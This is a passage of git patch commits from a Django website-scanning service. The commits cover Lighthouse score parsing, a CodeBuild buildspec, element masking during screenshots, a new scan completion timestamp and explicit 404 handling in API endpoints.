app/api/utils/lighthouse.py | 168 ++++++++++++++++++------------------ 1 file changed, 84 insertions(+), 84 deletions(-) diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index dd29d403..2ed77e5c 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -37,100 +37,100 @@ def init_audit(self): def get_data(self): - try: - stdout_value = self.init_audit() - stdout_string = str(stdout_value) - - if len(stdout_string) != 0: - if 'Runtime error encountered' in stdout_string: - error = {'error': 'lighthouse ran into a problem',} - return error - - stdout_json = json.loads(stdout_value) - - # initial audits object - audits = { - "seo": [], - "accessibility": [], - "performance": [], - "best-practices": [], - "lighthouse-plugin-crux": [], - "pwa": [] - } - - # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj - for cat in audits: - cat_audits = stdout_json["categories"][cat]["auditRefs"] - for a in cat_audits: - if int(a["weight"]) > 0: - audit = stdout_json["audits"][a["id"]] - audits[cat].append(audit) - # changing audits names - audits['best_practices'] = audits.pop('best-practices') - audits['crux'] = audits.pop('lighthouse-plugin-crux') - - # get scores from each category - seo_score = round(stdout_json["categories"]["seo"]["score"] * 100) - accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100) - performance_score = round(stdout_json["categories"]["performance"]["score"] * 100) - best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100) - pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100) - crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100) - - if crux_score == 0 : - crux_score = None - average_score = round(( - seo_score + accessibility_score + performance_score - + best_practices_score + pwa_score - )/ 5) - else: - average_score = round(( - seo_score + accessibility_score + performance_score - + best_practices_score + pwa_score + crux_score - )/ 6) - - scores = { - "seo": seo_score, - "accessibility": accessibility_score, - "performance": performance_score, - "best_practices": best_practices_score, - "pwa": pwa_score, - "crux": crux_score, - "average": average_score - } - - - data = { - "scores": scores, - "audits": audits - } - - - except Exception as e: - print(e) + # try: + stdout_value = self.init_audit() + stdout_string = str(stdout_value) + + if len(stdout_string) != 0: + if 'Runtime error encountered' in stdout_string: + error = {'error': 'lighthouse ran into a problem',} + return error - scores = { - "seo": None, - "accessibility": None, - "performance": None, - "best_practices": None, - "pwa": None, - "crux": None, - "average": None - } + stdout_json = json.loads(stdout_value) + # initial audits object audits = { "seo": [], "accessibility": [], "performance": [], - "best_practices": [], - "pwa": [], - "crux": [] + "best-practices": [], + "lighthouse-plugin-crux": [], + "pwa": [] } + # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj + for cat in audits: + cat_audits = stdout_json["categories"][cat]["auditRefs"] + for a in cat_audits: + if int(a["weight"]) > 0: + audit = stdout_json["audits"][a["id"]] + audits[cat].append(audit) + # changing audits names + audits['best_practices'] = audits.pop('best-practices') + audits['crux'] = audits.pop('lighthouse-plugin-crux') + + # get scores from each category + seo_score = round(stdout_json["categories"]["seo"]["score"] * 100) + accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100) + performance_score = round(stdout_json["categories"]["performance"]["score"] * 100) + best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100) + pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100) + crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100) + + if crux_score == 0 : + crux_score = None + average_score = round(( + seo_score + accessibility_score + performance_score + + best_practices_score + pwa_score + )/ 5) + else: + average_score = round(( + seo_score + accessibility_score + performance_score + + best_practices_score + pwa_score + crux_score + )/ 6) + + scores = { + "seo": seo_score, + "accessibility": accessibility_score, + "performance": performance_score, + "best_practices": best_practices_score, + "pwa": pwa_score, + "crux": crux_score, + "average": average_score + } + + data = { "scores": scores, "audits": audits - } + } + + + # except Exception as e: + # print(e) + + # scores = { + # "seo": None, + # "accessibility": None, + # "performance": None, + # "best_practices": None, + # "pwa": None, + # "crux": None, + # "average": None + # } + + # audits = { + # "seo": [], + # "accessibility": [], + # "performance": [], + # "best_practices": [], + # "pwa": [], + # "crux": [] + # } + + # data = { + # "scores": scores, + # "audits": audits + # } return data From 6f822159e405e5a4c6054d9923e21a267f4a70b5 Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 15 Apr 2022 08:37:25 -0500 Subject: [PATCH 051/277] testing LH CLI with more output --- app/api/utils/lighthouse.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index 2ed77e5c..0fb04c1f 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -18,7 +18,7 @@ def init_audit(self): proc = subprocess.Popen([ 'lighthouse', '--config-path=api/utils/custom-config.js', - '--quiet', + # '--quiet', self.site.site_url, '--plugins=lighthouse-plugin-crux', '--chrome-flags="--no-sandbox --headless --disable-dev-shm-usage"', From 090093ff11b96640b4d43f5e01a5738d3e354fca Mon Sep 17 00:00:00 2001 From: AhmedSaeed22 Date: Fri, 15 Apr 2022 14:00:55 +0000 Subject: [PATCH 052/277] add buildspecs file for codebuild --- Devops-tools/buildspec-Dev.yml | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) create mode 100644 Devops-tools/buildspec-Dev.yml diff --git a/Devops-tools/buildspec-Dev.yml b/Devops-tools/buildspec-Dev.yml new file mode 100644 index 00000000..8148a345 --- /dev/null +++ b/Devops-tools/buildspec-Dev.yml @@ -0,0 +1,29 @@ +version: 0.2 + +phases: + pre_build: + commands: + - echo Logging in to Amazon ECR... + - yum -y install python-pip && pip install j2cli + - aws --version + - $(aws ecr get-login --region $AWS_DEFAULT_REGION --no-include-email) + - REPOSITORY_URI=018948543532.dkr.ecr.eu-central-1.amazonaws.com/scanner + - COMMIT_HASH=$(echo $CODEBUILD_RESOLVED_SOURCE_VERSION | cut -c 1-7) + - IMAGE_TAG=${COMMIT_HASH:=dev} + build: + commands: + - echo Build started on `date` + - echo Building the Docker image... + - docker build -t $REPOSITORY_URI:dev . + - docker tag $REPOSITORY_URI:dev $REPOSITORY_URI:$IMAGE_TAG + post_build: + commands: + - echo Build completed on `date` + - echo Pushing the Docker images... + - docker push $REPOSITORY_URI:dev + - docker push $REPOSITORY_URI:$IMAGE_TAG + - echo Writing image definitions file... + - printf '[{"name":"scannerAPI","imageUri":"%s"}]' $REPOSITORY_URI:$IMAGE_TAG > imagedefinitions.json +artifacts: + files: imagedefinitions.json + discard-paths: yes \ No newline at end of file From e3f5b20fac41efa2bf0d061bccf40cde165bddd2 Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 15 Apr 2022 10:53:24 -0500 Subject: [PATCH 053/277] LH CLI back in prod mode --- app/api/utils/lighthouse.py | 170 ++++++++++++++++++------------------ 1 file changed, 85 insertions(+), 85 deletions(-) diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index 0fb04c1f..dd29d403 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -18,7 +18,7 @@ def init_audit(self): proc = subprocess.Popen([ 'lighthouse', '--config-path=api/utils/custom-config.js', - # '--quiet', + '--quiet', self.site.site_url, '--plugins=lighthouse-plugin-crux', '--chrome-flags="--no-sandbox --headless --disable-dev-shm-usage"', @@ -37,100 +37,100 @@ def init_audit(self): def get_data(self): - # try: - stdout_value = self.init_audit() - stdout_string = str(stdout_value) - - if len(stdout_string) != 0: - if 'Runtime error encountered' in stdout_string: - error = {'error': 'lighthouse ran into a problem',} - return error + try: + stdout_value = self.init_audit() + stdout_string = str(stdout_value) + + if len(stdout_string) != 0: + if 'Runtime error encountered' in stdout_string: + error = {'error': 'lighthouse ran into a problem',} + return error + + stdout_json = json.loads(stdout_value) + + # initial audits object + audits = { + "seo": [], + "accessibility": [], + "performance": [], + "best-practices": [], + "lighthouse-plugin-crux": [], + "pwa": [] + } - stdout_json = json.loads(stdout_value) + # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj + for cat in audits: + cat_audits = stdout_json["categories"][cat]["auditRefs"] + for a in cat_audits: + if int(a["weight"]) > 0: + audit = stdout_json["audits"][a["id"]] + audits[cat].append(audit) + # changing audits names + audits['best_practices'] = audits.pop('best-practices') + audits['crux'] = audits.pop('lighthouse-plugin-crux') + + # get scores from each category + seo_score = round(stdout_json["categories"]["seo"]["score"] * 100) + accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100) + performance_score = round(stdout_json["categories"]["performance"]["score"] * 100) + best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100) + pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100) + crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100) + + if crux_score == 0 : + crux_score = None + average_score = round(( + seo_score + accessibility_score + performance_score + + best_practices_score + pwa_score + )/ 5) + else: + average_score = round(( + seo_score + accessibility_score + performance_score + + best_practices_score + pwa_score + crux_score + )/ 6) + + scores = { + "seo": seo_score, + "accessibility": accessibility_score, + "performance": performance_score, + "best_practices": best_practices_score, + "pwa": pwa_score, + "crux": crux_score, + "average": average_score + } - # initial audits object - audits = { - "seo": [], - "accessibility": [], - "performance": [], - "best-practices": [], - "lighthouse-plugin-crux": [], - "pwa": [] - } - # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj - for cat in audits: - cat_audits = stdout_json["categories"][cat]["auditRefs"] - for a in cat_audits: - if int(a["weight"]) > 0: - audit = stdout_json["audits"][a["id"]] - audits[cat].append(audit) - # changing audits names - audits['best_practices'] = audits.pop('best-practices') - audits['crux'] = audits.pop('lighthouse-plugin-crux') - - # get scores from each category - seo_score = round(stdout_json["categories"]["seo"]["score"] * 100) - accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100) - performance_score = round(stdout_json["categories"]["performance"]["score"] * 100) - best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100) - pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100) - crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100) - - if crux_score == 0 : - crux_score = None - average_score = round(( - seo_score + accessibility_score + performance_score - + best_practices_score + pwa_score - )/ 5) - else: - average_score = round(( - seo_score + accessibility_score + performance_score - + best_practices_score + pwa_score + crux_score - )/ 6) + data = { + "scores": scores, + "audits": audits + } + + + except Exception as e: + print(e) scores = { - "seo": seo_score, - "accessibility": accessibility_score, - "performance": performance_score, - "best_practices": best_practices_score, - "pwa": pwa_score, - "crux": crux_score, - "average": average_score + "seo": None, + "accessibility": None, + "performance": None, + "best_practices": None, + "pwa": None, + "crux": None, + "average": None } + audits = { + "seo": [], + "accessibility": [], + "performance": [], + "best_practices": [], + "pwa": [], + "crux": [] + } data = { "scores": scores, "audits": audits - } - - - # except Exception as e: - # print(e) - - # scores = { - # "seo": None, - # "accessibility": None, - # "performance": None, - # "best_practices": None, - # "pwa": None, - # "crux": None, - # "average": None - # } - - # audits = { - # "seo": [], - # "accessibility": [], - # "performance": [], - # "best_practices": [], - # "pwa": [], - # "crux": [] - # } - - # data = { - # "scores": scores, - # "audits": audits - # } + } return data From 2320381100d51f910c357416a93cccfc40f62713 Mon Sep 17 00:00:00 2001 From: landon Date: Sun, 17 Apr 2022 17:28:36 -0500 Subject: [PATCH 054/277] added exception handeling to element masking. --- app/api/utils/image.py | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/app/api/utils/image.py b/app/api/utils/image.py index 62eccf52..f0c4c674 100644 --- a/app/api/utils/image.py +++ b/app/api/utils/image.py @@ -132,9 +132,12 @@ def scan(self, site, configs, driver=None,): if configs['mask_ids'] is not None and configs['mask_ids'] != '': ids = configs['mask_ids'].split(',') for id in ids: - # driver.execute_script(f"$('#{id}').overlayMask();") - driver.execute_script(f"$('#{id}').hide();") - print('masked an element') + try: + # driver.execute_script(f"$('#{id}').overlayMask();") + driver.execute_script(f"$('#{id}').hide();") + print('masked an element') + except: + print('cannot find elemend via id provided') # scroll one frame at a time and capture screenshot @@ -261,8 +264,11 @@ async def scan_p(self, site, configs): if configs['mask_ids'] is not None and configs['mask_ids'] != '': ids = configs['mask_ids'].split(',') for id in ids: - await page.evaluate(f"$('#{id}').hide();") - print('masked an element') + try: + await page.evaluate(f"$('#{id}').hide();") + print('masked an element') + except: + print('cannot find elemend via id provided') # scroll one frame at a time and capture screenshot From fbc7800db7223b6c94e3842dc1c7e4d34c6f936d Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 19 Apr 2022 09:03:44 -0500 Subject: [PATCH 055/277] added "time_completed" to Scan --- app/api/models.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/app/api/models.py b/app/api/models.py index 36a81dd7..86a56ea8 100644 --- a/app/api/models.py +++ b/app/api/models.py @@ -13,10 +13,12 @@ def get_info_default(): 'latest_scan': { 'id': None, 'time_created': None, + 'time_completed': None, }, 'latest_test': { 'id': None, 'time_created': None, + 'time_completed': None, 'score': None }, 'lighthouse': { @@ -42,7 +44,6 @@ def get_info_default(): 'serverConfig': None, }, 'status': { - 'ping': None, 'health': None, 'badge': 'neutral', 'score': None, @@ -209,6 +210,7 @@ class Scan(models.Model): site = models.ForeignKey(Site, on_delete=models.CASCADE, serialize=True, blank=True) paired_scan = models.ForeignKey('self', on_delete=models.CASCADE, serialize=True, null=True, blank=True) time_created = models.DateTimeField(default=timezone.now, serialize=True) + time_completed = models.DateTimeField(serialize=True, null=True, blank=True) html = models.TextField(serialize=True, null=True, blank=True) logs = models.JSONField(serialize=True, null=True, blank=True) images = models.JSONField(serialize=True, null=True, blank=True) From f663ff2f736588ce72803f5e0984222eaee7452e Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 19 Apr 2022 09:04:11 -0500 Subject: [PATCH 056/277] added exception handeling for mask_ids methods --- app/api/utils/image.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/app/api/utils/image.py b/app/api/utils/image.py index f0c4c674..0683d101 100644 --- a/app/api/utils/image.py +++ b/app/api/utils/image.py @@ -137,7 +137,7 @@ def scan(self, site, configs, driver=None,): driver.execute_script(f"$('#{id}').hide();") print('masked an element') except: - print('cannot find elemend via id provided') + print('cannot find element via id provided') # scroll one frame at a time and capture screenshot @@ -268,7 +268,7 @@ async def scan_p(self, site, configs): await page.evaluate(f"$('#{id}').hide();") print('masked an element') except: - print('cannot find elemend via id provided') + print('cannot find element via id provided') # scroll one frame at a time and capture screenshot From 277b8b2b459ca9a0c1f32ea0094d4f3261675d7f Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 19 Apr 2022 09:05:01 -0500 Subject: [PATCH 057/277] added "time_completed" attr to Scan & site_info --- app/api/utils/scanner.py | 59 +++++++++++++++++++++++----------------- 1 file changed, 34 insertions(+), 25 deletions(-) diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py index 24466346..34c824f0 100644 --- a/app/api/utils/scanner.py +++ b/app/api/utils/scanner.py @@ -7,6 +7,7 @@ from .lighthouse import Lighthouse from .yellowlab import Yellowlab from .image import Image +from datetime import datetime import time, os, sys, json, asyncio @@ -22,6 +23,7 @@ def __init__( if site == None and scan != None: site = scan.site + if configs is None: configs = { 'window_size': '1920,1080', @@ -32,10 +34,17 @@ def __init__( 'min_wait_time': 10, 'max_wait_time': 60, } + self.site = site + if configs['driver'] == 'selenium': self.driver = driver_s_init(window_size=configs['window_size'], device=configs['device']) - self.scan = scan + + if scan is not None: + self.scan = scan + else: + self.scan = Scan.objects.create() + self.configs = configs @@ -67,23 +76,15 @@ def first_scan(self): lh_data = Lighthouse(site=self.site, configs=self.configs).get_data() yl_data = Yellowlab(site=self.site, configs=self.configs).get_data() - - if self.scan: - self.scan.html = html - self.scan.logs = logs - self.scan.images = images - self.scan.lighthouse = lh_data - self.scan.yellowlab = yl_data - self.scan.configs = self.configs - self.scan.save() - first_scan = self.scan - else: - first_scan = Scan.objects.create( - site=self.site, html=html, - logs=logs, lighthouse=lh_data, - images=images, yellowlab=yl_data, - configs=self.configs - ) + self.scan.html = html + self.scan.logs = logs + self.scan.images = images + self.scan.lighthouse = lh_data + self.scan.yellowlab = yl_data + self.scan.configs = self.configs + self.scan.time_completed = datetime.now() + self.scan.save() + first_scan = self.scan self.update_site_info(first_scan) @@ -107,6 +108,9 @@ def second_scan(self): else: first_scan = self.scan + # create second scan obj + second_scan = Scan.objects.create() + if self.configs['driver'] == 'selenium': self.driver.get(self.site.site_url) html = self.driver.page_source @@ -127,14 +131,18 @@ def second_scan(self): lh_data = Lighthouse(site=self.site, configs=self.configs).get_data() yl_data = Yellowlab(site=self.site, configs=self.configs).get_data() - second_scan = Scan.objects.create( - site=self.site, paired_scan=first_scan, - html=html, logs=logs, lighthouse=lh_data, - images=images, yellowlab=yl_data, - configs=self.configs - ) - second_scan.save() + second_scan.site = self.site + second_scan.paired_scan = first_scan + second_scan.html = html + second_scan.logs = logs + second_scan.lighthouse = lh_data + second_scan.images = images + second_scan.yellowlab = yl_data + second_scan.configs = self.configs + second_scan.time_completed = datetime.now() + second_scan.save() + first_scan.paried_scan = second_scan first_scan.save() @@ -179,6 +187,7 @@ def update_site_info(self, scan): self.site.info['latest_scan']['id'] = str(scan.id) self.site.info['latest_scan']['time_created'] = str(scan.time_created) + self.site.info['latest_scan']['time_completed'] = str(scan.time_completed) self.site.info['lighthouse'] = scan.lighthouse['scores'] self.site.info['yellowlab'] = scan.yellowlab['scores'] self.site.info['status']['health'] = str(health) From c48a5fe992374c12471e34d45669432e85d19307 Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 19 Apr 2022 10:54:02 -0500 Subject: [PATCH 058/277] added responses to 404 errors --- app/api/v1/ops/services.py | 151 +++++++++++++++++++++++++++---------- 1 file changed, 111 insertions(+), 40 deletions(-) diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index 49d82a96..e81f7e75 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -2,7 +2,6 @@ from datetime import datetime from django.contrib.auth.models import User from django_celery_beat.models import CrontabSchedule, PeriodicTask -from django.shortcuts import get_object_or_404 from ...models import * from rest_framework.response import Response from rest_framework import status @@ -114,7 +113,14 @@ def get_sites(request): user = request.user if site_id != None: - site = get_object_or_404(Site, pk=site_id) + + try: + site = Site.objects.get(id=site_id) + except: + data = {'reason': 'cannot find a Site with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + if site.user != user: data = {'reason': 'you cannot retrieve a Site you do not own',} return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -137,7 +143,13 @@ def get_sites(request): def delete_site(request, id): user = request.user - site = get_object_or_404(Site, pk=id) + + try: + site = Site.objects.get(id=id) + except: + data = {'reason': 'cannot find a Site with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) if site.user != user: data = {'reason': 'you cannot delete Tests of a Site you do not own',} @@ -279,10 +291,16 @@ def get_tests(request): small = request.query_params.get('small') if test_id != None: - test = get_object_or_404(Test, pk=test_id) + + try: + test = Test.objects.get(id=test_id) + except: + data = {'reason': 'cannot find a Test with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) if test.site.user != user: - data = {'reason': 'you cannot retrieve Tests of a Site you do not own',} + data = {'reason': 'you cannot retrieve Tests of a Site you do not own'} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -341,7 +359,13 @@ def get_tests(request): def delete_test(request, id): - test = get_object_or_404(Test, pk=id) + try: + test = Test.objects.get(id=id) + except: + data = {'reason': 'cannot find a Test with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + site = test.site user = request.user @@ -365,7 +389,13 @@ def create_scan(request, delay=False): site_id = request.data['site_id'] user = request.user - site = get_object_or_404(Site, pk=site_id) + + try: + site = Site.objects.get(id=site_id) + except: + data = {'reason': 'cannot find a Site with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) account_is_active = check_account(request) if not account_is_active: @@ -426,7 +456,12 @@ def get_scans(request): small = request.query_params.get('small') if scan_id != None: - scan = get_object_or_404(Scan, pk=scan_id) + try: + scan = Scan.objects.get(id=scan_id) + except: + data = {'reason': 'cannot find a Scan with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) if scan.site.user != user: data = {'reason': 'you cannot retrieve Scans of a Site you do not own',} @@ -439,19 +474,14 @@ def get_scans(request): record_api_call(request, data, '200') return Response(data, status=status.HTTP_200_OK) + try: - site = get_object_or_404(Site, pk=site_id) + site = Site.objects.get(id=site_id) except: - if site_id != None: - data = {'reason': 'cannot find a site with that id',} - this_status = status.HTTP_404_NOT_FOUND - status_code = '404' - else: - data = {'reason': 'you did not provide the site_id'} - this_status = status.HTTP_400_BAD_REQUEST - status_code = '400' - record_api_call(request, data, status_code) - return Response(data, status=this_status) + data = {'reason': 'cannot find a Site with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + if site.user != user: data = {'reason': 'you cannot retrieve Scans of a Site you do not own',} @@ -483,7 +513,13 @@ def get_scans(request): def delete_scan(request, id): - scan = get_object_or_404(Scan, pk=id) + try: + scan = Scan.objects.get(id=scan_id) + except: + data = {'reason': 'cannot find a Scan with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + site = scan.site user = request.user @@ -681,7 +717,12 @@ def get_schedules(request): if schedule_id != None: - schedule = get_object_or_404(Schedule, pk=schedule_id) + try: + schedule = Schedule.objects.get(id=schedule_id) + except: + data = {'reason': 'cannot find a Schedule with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) if schedule.site.user != user or schedule.user != user: data = {'reason': 'you cannot retrieve Schedules of a Site you do not own',} @@ -696,18 +737,11 @@ def get_schedules(request): try: - site = get_object_or_404(Site, pk=site_id) + site = Site.objects.get(id=site_id) except: - if site_id != None: - data = {'reason': 'cannot find a site with that id',} - this_status = status.HTTP_404_NOT_FOUND - status_code = '404' - else: - data = {'reason': 'you did not provide the site_id'} - this_status = status.HTTP_400_BAD_REQUEST - status_code = '400' - record_api_call(request, data, status_code) - return Response(data, status=this_status) + data = {'reason': 'cannot find a Site with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) if site.user != user: data = {'reason': 'you cannot retrieve Schedules of a Site you do not own',} @@ -728,7 +762,13 @@ def get_schedules(request): def delete_schedule(request, id): - schedule = get_object_or_404(Schedule, pk=id) + try: + schedule = Schedule.objects.get(id=schedule_id) + except: + data = {'reason': 'cannot find a Schedule with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + task = PeriodicTask.objects.get(id=schedule.periodic_task_id) site = schedule.site user = request.user @@ -821,8 +861,14 @@ def create_or_update_automation(request): def get_automations(request): automation_id = request.query_params.get('automation_id') user = request.user - if automation_id != None: - automation = get_object_or_404(Automation, pk=automation_id) + if automation_id != None: + try: + automation = Automation.objects.get(id=automation_id) + except: + data = {'reason': 'cannot find a Automation with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + if automation.user != user: data = {'reason': 'you cannot retrieve an Automation you do not own',} return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -844,7 +890,12 @@ def get_automations(request): def delete_automation(request, id): - automation = get_object_or_404(Automation, pk=automation_id) + try: + automation = Automation.objects.get(id=automation_id) + except: + data = {'reason': 'cannot find a Automation with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) if automation.user != request.user: data = {'reason': 'you cannot delete an automation you do not own',} @@ -883,7 +934,12 @@ def create_or_update_report(request): } if report_id: - report = get_object_or_404(Report, pk=report_id) + try: + report = Report.objects.get(id=report_id) + except: + data = {'reason': 'cannot find a Report with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) else: report = Report.objects.create( user=request.user, site=site @@ -915,11 +971,21 @@ def get_reports(request): report_id = request.query_params.get('report_id', None) if site_id: - site = get_object_or_404(Site, pk=site_id) + try: + site = Site.objects.get(id=site_id) + except: + data = {'reason': 'cannot find a Site with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) reports = Report.objects.filter(site=site, user=request.user).order_by('-time_created') if report_id: - reports = get_object_or_404(Report, pk=report_id) + try: + report = Report.objects.get(id=report_id) + except: + data = {'reason': 'cannot find a Report with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) if site_id is None and report_id is None: reports = Report.objects.filter(user=request.user).order_by('-time_created') @@ -938,7 +1004,12 @@ def get_reports(request): def delete_report(request, id): user = request.user - report = get_object_or_404(Report, pk=id) + try: + report = Report.objects.get(id=report_id) + except: + data = {'reason': 'cannot find a Report with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) if report.user != user: data = {'reason': 'you cannot delete Reports you do not own',} From 22e2366b6848769fd9292b83cf3cdd006f7f2514 Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 19 Apr 2022 11:25:08 -0500 Subject: [PATCH 059/277] added scan info to site/delay endpoint --- app/api/tasks.py | 4 ++-- app/api/v1/ops/services.py | 6 +++++- app/api/v1/ops/tasks.py | 5 +++-- 3 files changed, 10 insertions(+), 5 deletions(-) diff --git a/app/api/tasks.py b/app/api/tasks.py index eb9c36df..23987332 100644 --- a/app/api/tasks.py +++ b/app/api/tasks.py @@ -23,8 +23,8 @@ def test_pupeteer(): @shared_task -def create_site_bg(site_id): - create_site_task(site_id) +def create_site_bg(site_id, scan_id): + create_site_task(site_id, scan_id) logger.info('Created scan of new site') diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index e81f7e75..f0cc0ef7 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -91,7 +91,11 @@ def create_site(request, delay=False): ) if delay == True: - create_site_bg.delay(site.id) + scan = Scan.objects.create(site=site) + create_site_bg.delay(site.id, scan.id) + site.info["latest_scan"]["id"] = scan.id + site.info["latest_scan"]["time_created"] = scan.time_created + site.save() else: S(site=site).first_scan() diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py index 700a4723..7b1489b2 100644 --- a/app/api/v1/ops/tasks.py +++ b/app/api/v1/ops/tasks.py @@ -8,9 +8,10 @@ -def create_site_task(site_id): +def create_site_task(site_id, scan_id): site = Site.objects.get(id=site_id) - S(site=site).first_scan() + scan = Scan.objects.get(id=scan_id) + S(site=site, scan=scan).first_scan() return site From e95609562efb6c5003484af13b98cddd58713d35 Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 19 Apr 2022 11:42:13 -0500 Subject: [PATCH 060/277] added time_completed to site_info --- app/api/utils/tester.py | 1 + 1 file changed, 1 insertion(+) diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py index 9aa4ea5c..a96159de 100644 --- a/app/api/utils/tester.py +++ b/app/api/utils/tester.py @@ -401,6 +401,7 @@ def update_site_info(self, test): site = test.site site.info['latest_test']['id'] = str(test.id) site.info['latest_test']['time_created'] = str(test.time_created) + site.info['latest_test']['time_completed'] = str(test.time_completed) site.info['latest_test']['score'] = (round(test.score * 100) / 100) site.save() From cbfb38ef52ce13d9aeff16f38e6b3c20280d2561 Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 19 Apr 2022 14:39:01 -0500 Subject: [PATCH 061/277] added time_completed to ScanSerializer --- app/api/v1/ops/serializers.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py index fe21338d..aee3197e 100644 --- a/app/api/v1/ops/serializers.py +++ b/app/api/v1/ops/serializers.py @@ -39,8 +39,8 @@ class ScanSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Scan fields = ['id', 'site', 'paired_scan', 'time_created', - 'html', 'logs', 'lighthouse', 'yellowlab', 'images', - 'configs', + 'time_completed', 'html', 'logs', 'lighthouse', 'yellowlab', + 'images', 'configs', ] @@ -52,7 +52,7 @@ class SmallScanSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Scan fields = ['id', 'site', 'paired_scan', 'time_created', 'logs', - 'lighthouse', 'yellowlab', 'configs', + 'time_completed', 'lighthouse', 'yellowlab', 'configs', ] From 335ca2e2b0f723ffc4bcfba948f9e81ea34c3eeb Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 19 Apr 2022 14:46:16 -0500 Subject: [PATCH 062/277] increased DATA_UPLOAD_MAX_MEMORY_SIZE --- app/scanerr/settings.py | 1 + 1 file changed, 1 insertion(+) diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py index 2da53218..8ac13a51 100644 --- a/app/scanerr/settings.py +++ b/app/scanerr/settings.py @@ -27,6 +27,7 @@ CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT') API_URL_ROOT = os.environ.get('API_URL_ROOT') CORS_ORIGIN_ALLOW_ALL = True +DATA_UPLOAD_MAX_MEMORY_SIZE = 5242880 SECURE_PROXY_SSL_HEADER = ("HTTP_X_FORWARDED_PROTO", "https") From 019de386ffed20a8736caad797120f9f4f339129 Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 19 Apr 2022 14:57:54 -0500 Subject: [PATCH 063/277] updating admin tools and viewing --- app/api/admin.py | 11 +++++++++-- app/api/models.py | 4 ++-- 2 files changed, 11 insertions(+), 4 deletions(-) diff --git a/app/api/admin.py b/app/api/admin.py index 76f4df26..0d586239 100644 --- a/app/api/admin.py +++ b/app/api/admin.py @@ -1,5 +1,6 @@ from django.contrib 